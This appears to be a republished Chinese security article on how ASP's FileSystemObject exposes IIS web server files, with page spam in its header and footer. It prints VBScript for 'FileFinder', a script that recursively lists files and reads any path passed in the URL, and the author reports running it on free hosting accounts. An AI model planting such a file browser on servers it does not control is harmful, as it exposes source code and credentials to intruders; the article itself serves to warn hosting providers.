国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 編程 > ASP > 正文

ASP中FSO對(duì)象對(duì)IIS WEB服務(wù)器數(shù)據(jù)安全的威脅及對(duì)策

2020-07-27 13:23:28
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
scripting.filesystemobject 對(duì)象是由 scrrun.dll 提供的許多供 vbscript/jscript 控制的 com 對(duì)象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目錄的訪問(wèn),但是同時(shí)也對(duì) iis web 服務(wù)器數(shù)據(jù)安全造成了一定的威脅。

filefinder 的代碼很簡(jiǎn)單,由3 個(gè)函數(shù)和 30 行左右的順序代碼構(gòu)成。

最關(guān)鍵的是 findfiles 函數(shù),通過(guò)對(duì)它的遞歸調(diào)用實(shí)現(xiàn)對(duì)某個(gè)目錄的遍歷,并且按照特定的文件擴(kuò)展名來(lái)搜尋這些文件。


function findfiles(strstartfolder, strext)

dim n

dim othisfolder

dim ofolders

dim ofiles

dim ofolder

dim ofile


' 如果系統(tǒng)管理員對(duì)文件系統(tǒng)的權(quán)限進(jìn)行細(xì)致的設(shè)置話,下面的代碼就要出錯(cuò)

' 但是有些目錄還是可以察看的,所以我們簡(jiǎn)單的把錯(cuò)誤忽略過(guò)去

on error resume next

n = 0

response.write "<b>searching " & strstartfolder & "</b><br>"

set othisfolder = g_fs.getfolder(strstartfolder)

set ofiles = othisfolder.files

for each ofile in ofiles

' 如果是指定的文件擴(kuò)展名,輸出連接導(dǎo)向本身,但用不同的命令 cmd

' 在這里是 cmd=read,即讀出指定物理路徑的文本文件

if issuffix(ofile.path, strext) then

response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"

if err = 0 then

n = n + 1

end if

end if

next

set ofolders = othisfolder.subfolders

for each ofolder in ofolders

n = n + findfiles(ofolder.path, strext)

next

findfiles = n

end function

下面的代碼是對(duì) url 后面的參數(shù)進(jìn)行分析:


' 讀出各個(gè)參數(shù)的值

strcmd = ucase(request.querystring("cmd"))

strpath = request.querystring("path")

strext = request.querystring("ext")

brawdata = ucase(request.querystring("raw"))

' 默認(rèn)搜索 .asp 文件

if strpath = "" then

strpath = "."

end if

if strext = "" then

strext = ".asp"

end if


' 根據(jù)不同的命令 cmd 執(zhí)行不同的代碼

select case strcmd

case "find"

response.write findfiles(strpath, strext) & " file(s) found"

case "read"

if brawdata = "t" then

response.write readtextfile(strpath)

else

response.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>"

end if

case else

response.write "<h3>please specify a command to execute</h3>"

end select

從上面的分析可以看出,如果有足夠的權(quán)限的話,我們就可以通過(guò) filefinder 來(lái)查找 iis web 服務(wù)器上的任意文本文件,并且可以輕松的察看文件內(nèi)容。對(duì)于非文本文件,可以確定他們是否存在及其所在路徑,這對(duì)于高級(jí) hacker 們來(lái)說(shuō),這些信息有時(shí)是極其重要的。

但是這些對(duì)數(shù)據(jù)安全的威脅的前提條件是執(zhí)行 ff.asp 的用戶至少擁有讀取目錄和文件的權(quán)限。由于 windows nt server 在安裝后的默認(rèn)安全設(shè)置是所有用戶都可以“讀取”目錄和文件,所以不管是 iis 默認(rèn)的你名用戶 iusr_servername 還是別的什么用戶,都可以順列的讀取目錄和文件的信息。而大多數(shù) windows nt server系統(tǒng)管理員主要關(guān)心系統(tǒng)是否能夠運(yùn)行的起來(lái),一般不愿意去改動(dòng)默認(rèn)的目錄和文件權(quán)限,畢竟那樣做要冒很大的風(fēng)險(xiǎn),而且需要很多次得經(jīng)驗(yàn)。所以,我們可以用 filefinder 來(lái)檢查作為 web 服務(wù)器的 nt server 的文件系統(tǒng)的安全設(shè)置是否安全。

作者專門對(duì)作為 iis web 服務(wù)器的文件系統(tǒng)的權(quán)限進(jìn)行了人工設(shè)置,但限于沒(méi)有經(jīng)驗(yàn),導(dǎo)致了許多奇怪的錯(cuò)誤現(xiàn)象,如:所用的做實(shí)驗(yàn)的 nt server 4.0 不能進(jìn)行 access 數(shù)據(jù)庫(kù)的連接。而在進(jìn)行文件系統(tǒng)權(quán)限改動(dòng)之前,這些功能是正常的。

本著純粹研究的目的,作者還在我所申請(qǐng)的免費(fèi) asp 空間上作了試驗(yàn)(包括 csdn 提供的我的個(gè)人主頁(yè)),結(jié)果是 filefinder 都可以順利運(yùn)行。而在http://www2.domaindlx.com/index.html 申請(qǐng)的個(gè)人主頁(yè)卻沒(méi)有這個(gè)問(wèn)題,可見這個(gè)免費(fèi) asp 主頁(yè)提供商在這方面做的還是比較認(rèn)真的。盡管 domaindlx 的 web 服務(wù)器運(yùn)行在 windows 2000 server 上的,其默認(rèn)的文件系統(tǒng)的安全權(quán)限和 nt 4.0 沒(méi)有很大的差別。

由于作者的能力有限,就對(duì)這個(gè)問(wèn)題討論到這里。僅以此文來(lái)向國(guó)內(nèi)的 asp 主頁(yè)提供商提供參考意見,希望能對(duì)提供商和客戶雙方的數(shù)據(jù)安全都有所幫助。

附:用其它類似的服務(wù)器端腳本來(lái)運(yùn)行的 web 服務(wù),如果也提供類似 scripting.filesystemobject 的對(duì)文件系統(tǒng)操作的功能,不管什么平臺(tái)應(yīng)該存在同樣的問(wèn)題。

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 江北区| 侯马市| 乳山市| 诸城市| 白玉县| 柳江县| 连州市| 绩溪县| 丘北县| 周宁县| 永胜县| 灵丘县| 双牌县| 保亭| 三台县| 城固县| 田东县| 浦北县| 普宁市| 瑞金市| 凌源市| 长治县| 紫阳县| 阜城县| 治县。| 政和县| 阿克陶县| 楚雄市| 澎湖县| 黄浦区| 济南市| 伊吾县| 高尔夫| 阜新市| 怀化市| 清水河县| 安远县| 固原市| 石台县| 大关县| 莒南县|